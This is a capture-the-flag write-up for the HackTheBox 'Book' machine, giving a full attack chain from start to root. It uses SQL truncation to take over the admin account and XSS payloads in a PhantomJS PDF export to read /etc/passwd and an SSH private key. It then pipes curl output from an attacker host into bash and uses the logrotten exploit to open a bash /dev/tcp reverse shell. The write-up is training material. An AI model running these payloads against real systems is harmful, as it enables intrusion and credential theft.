HTB: Book Writeup
Book - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Book |
| OS | Linux |
| Difficulty | Medium |
| Points | N/A |
| Release Date | 7th July 2020 |
| IP Address | N/A |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐☆☆ (3/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐☆☆☆
- CTF-like: ⭐⭐⭐⭐☆
Summary
Book is a medium difficulty Linux machine hosting a library management application with user registration and book submission features. The vulnerability chain exploits SQL truncation to gain admin panel access, then leverages XSS in PDF rendering to read SSH private keys via a headless browser (PhantomJS), and finally abuses misconfigured logrotate permissions to achieve root privilege escalation. TL;DR: SQL Truncation → Admin Access → XSS in PDF Export → SSH Key Extraction → Logrotate Race Condition → Root.
Reconnaissance
Port Scanning
# Initial full port scannmap -p- --min-rate=1000 -T4 10.10.10.176
# Detailed service enumerationports=$(nmap -p- --min-rate=1000 -T4 10.10.10.176 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -sC -sV 10.10.10.176Results: Two open ports identified:
- Port 80 - HTTP (Apache web server)
- Port 22 - SSH
Service Enumeration
HTTP Service (Port 80):
The application presents a library management system with sign-up and login functionality. The form enforces username length restrictions (< 10 characters) and email length restrictions (< 20 characters).
Directory Enumeration:
gobuster dir -u http://10.10.10.176 -w /usr/share/wordlists/dirbuster/directory-list-common.txtKey findings:
/admin- Admin login panel (requires different credentials than user panel)/docs- Returns 403 Forbidden/collections- Book management interface (requires authentication)/profile- User profile editing
Vulnerability Assessment
- SQL Truncation Vulnerability - Username/email fields truncate input based on length restrictions, allowing bypass through careful payload construction
- XSS in PDF Export - Admin panel uses PhantomJS to render HTML to PDF without proper sanitization
- Logrotate Race Condition - Writable log files owned by unprivileged users can be exploited during rotation
Initial Foothold
Exploitation Path: SQL Truncation to Admin Access
Step 1: Register Initial Account
Sign up with arbitrary credentials to understand the application flow:
- Username:
admin - Email:
user@example.com
The registration succeeds, indicating that the username “admin” is not reserved at the user level.
Step 2: Identify SQL Truncation Vulnerability
Access the profile page and intercept the username update request in Burp Suite:
POST /profile.php HTTP/1.1Host: 10.10.10.176Content-Type: application/x-www-form-urlencoded
username=adminxxxxxxxx&email=user@example.comWhen submitting a username longer than 10 characters, the backend truncates it. Test with spaces:
username=admin%20%20%20%20%20%20%20&email=user@example.comAfter refresh, the profile shows username as “admin ” (admin with trailing spaces). MySQL treats trailing spaces as equivalent to the base string, meaning “admin ” = “admin” in database operations.
Step 3: Register as Admin via Email Truncation
Attempt to register a new account with the admin email. Intercept the sign-up request:
POST /register.php HTTP/1.1Host: 10.10.10.176Content-Type: application/x-www-form-urlencoded
username=someuser&email=admin@book.htb%20%20%20%20%20%20%20%20%20%20xThe email field accepts up to 20 characters. By padding with spaces and a trailing character, we can force truncation to exactly admin@book.htb (19 chars), bypassing any uniqueness checks. Forward the request without errors.
Step 4: Login to Admin Panel
Log in with the newly registered account:
Username: someuserPassword: (your password)Then navigate to /admin and attempt login with:
Email: admin@book.htbPassword: (your password)Access to the admin panel is granted.
Exploitation Path: XSS in PDF Export to SSH Key Extraction
Step 5: Enumerate Admin Functionality
The Collections tab in the admin panel allows exporting collections as PDF. Adding a test collection and exporting reveals an HTML table rendered to PDF format.
Step 6: Confirm XSS via Image Tag
Add a new collection with an embedded image tag:
<img src="http://10.10.14.3/test" />Start a local HTTP listener:
python3 -m http.server 80Export the collection PDF. The server makes an HTTP request to your listener with User-Agent PhantomJS, confirming server-side HTML rendering and JavaScript execution.
Step 7: Test JavaScript Execution
Submit a collection with a simple script:
<script>document.write("Javascript works!")</script>Export and verify the text appears in the generated PDF.
Step 8: Read System Files via XMLHttpRequest
Create a payload to read /etc/passwd:
<script> var x = new XMLHttpRequest(); x.open("GET", "file:///etc/passwd", true); x.onload = function(){ document.write(x.responseText); }; x.send();</script>Submit and export. The passwd file content is rendered in the PDF, confirming arbitrary file read capability.
Step 9: Extract SSH Private Key
Identify the reader user from /etc/passwd and extract the SSH private key:
<script> var x = new XMLHttpRequest(); x.open("GET", "file:///home/reader/.ssh/id_rsa", true); x.onload = function(){ var code = "<textarea rows='100' cols='70'>" + btoa(x.responseText) + "</textarea>"; document.write(code); }; x.send();</script>The btoa() function encodes the key in base64 for reliable copying from the PDF.
Step 10: SSH Access
Decode the base64-encoded SSH key and save it:
# Copy the base64 string from PDF and decodeecho "BASE64_STRING" | base64 -d > id_rsachmod 600 id_rsa
# SSH into the targetssh -i id_rsa reader@10.10.10.176User flag obtained.
Privilege Escalation
Step 11: Local Enumeration
Run automated enumeration to identify privilege escalation vectors:
# Download and execute linPEAScurl http://10.10.14.3:8000/linpeas.sh | bashKey finding: The user reader has write access to log files in /home/reader/backups/, and the system runs logrotate with root privileges.
Step 12: Confirm Logrotate Execution
Verify logrotate is running as root:
# Download pspy to monitor process executionwget http://10.10.14.3:8000/pspy64schmod +x pspy64s./pspy64sObserve logrotate being executed by uid=0 (root) at regular intervals.
Step 13: Setup Logrotate Exploitation
Clone and compile the logrotten exploit:
git clone https://github.com/whotwagner/logrottencd logrottengcc logrotten.c -o logrottenCreate a shell script payload:
cat > shell << 'EOF'#!/bin/bashbash -c "/bin/bash -i >& /dev/tcp/10.10.14.3/4444 0>&1" &EOFchmod +x shellStep 14: Transfer Exploit Files
# On attacker machinepython3 -m http.server 8000
# On target machinewget http://10.10.14.3:8000/logrottenwget http://10.10.14.3:8000/shellchmod +x logrotten shellStep 15: Trigger Logrotate and Gain Root
Execute the exploit:
# Add content to trigger log rotationecho test >> /home/reader/backups/access.log
# Run logrotten exploit./logrotten -d -p shell /home/reader/backups/access.logThe exploit leverages a race condition: when logrotate processes the log file, it creates a temporary file. Logrotten symlinks this to /etc/bash_completion.d/, a directory containing scripts executed during root login.
On the next root login (or immediately via cron), the shell script executes with root privileges:
# Setup listener on attacker machinenc -lvnp 4444
# Receive root reverse shellRoot flag obtained.
Attack Chain Summary
User Registration (SQL Truncation Bypass) ↓Admin Panel Access (Email Truncation) ↓XSS in PDF Export (PhantomJS Rendering) ↓Arbitrary File Read (XMLHttpRequest + file:// URI) ↓SSH Private Key Extraction (/home/reader/.ssh/id_rsa) ↓SSH Access as reader User ↓Logrotate Race Condition Detection (pspy + linPEAS) ↓Logrotten Exploit + Bash Completion Script Injection ↓Root Reverse Shell AccessTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning and service enumeration |
gobuster | Directory and file enumeration |
Burp Suite | HTTP request interception and manipulation |
curl | File download and HTTP requests |
wget | Remote file retrieval |
gcc | Compiling logrotten exploit |
python3 http.server | HTTP file serving |
nc | Reverse shell listener |
pspy64s | Process monitoring and logrotate detection |
linpeas.sh | Automated privilege escalation enumeration |
base64 | Key encoding/decoding |
ssh | Secure shell access |
Key Learnings
Techniques Practiced
- SQL Truncation Attacks - Understanding database-level string handling and exploiting length-based input validation
- XSS Exploitation - Leveraging client-side vulnerabilities in server-side rendering contexts
- Headless Browser Exploitation - Using PhantomJS JavaScript execution for arbitrary file read
- Logrotate Race Conditions - Understanding system utility vulnerabilities through symlink manipulation
- Privilege Escalation via Bash Completions - Injecting code into system-level initialization scripts
Lessons Learned
-
Input validation ≠ Security - Length restrictions alone do not prevent SQL injection or authorization bypass; database-level behavior (trailing space handling) must be considered.
-
Server-side rendering risks - Headless browsers executing user-supplied HTML are dangerous; they can read local files and execute arbitrary JavaScript with system-level permissions.
-
Log file permissions matter - Writable log files combined with privileged log rotation create significant privilege escalation opportunities.
-
Race conditions in system utilities - Tools like logrotate operating on privileged files with predictable behavior can be exploited through timing attacks and symlink tricks.
-
Defense in depth - Multiple smaller vulnerabilities (truncation + XSS + logrotate misconfiguration) chain together for complete system compromise; fixing any single vulnerability would break the attack.
-
Process monitoring is essential - Using tools like pspy to confirm privileged process execution is critical for accurate exploitation planning.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>